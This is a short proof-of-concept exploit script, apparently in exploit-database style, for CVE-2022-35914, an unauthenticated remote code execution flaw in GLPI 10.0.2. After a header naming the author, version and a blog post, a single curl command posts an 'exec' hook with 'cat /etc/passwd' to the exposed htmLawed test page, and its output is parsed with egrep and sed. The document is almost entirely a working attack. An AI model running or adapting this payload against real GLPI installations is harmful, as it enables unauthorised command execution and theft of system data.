POC_2022-35914.sh

# Exploit Title: GLPI 10.0.x - Unauthenticated RCE
# Date: 07/2022
# Exploit Author: Mayfly
# Vendor Homepage: https://glpi-project.org/
# Software Link:https://github.com/glpi-project/glpi/releases/tag/10.0.2
# Version: 10.0.2
# Tested on: Linux
# Blogpost : https://mayfly277.github.io/posts/GLPI-htmlawed-CVE-2022-35914/
#!/bin/bash

curl -s -d 'sid=foo&hhook=exec&text=cat /etc/passwd' -b 'sid=foo' http://localhost/vendor/htmlawed/htmlawed/htmLawedTest.php |egrep '\&nbsp; \[[0-9]+\] =\&gt;'| sed -E 's/\&nbsp; \[[0-9]+\] =\&gt; (.*)<br \/>/\1/'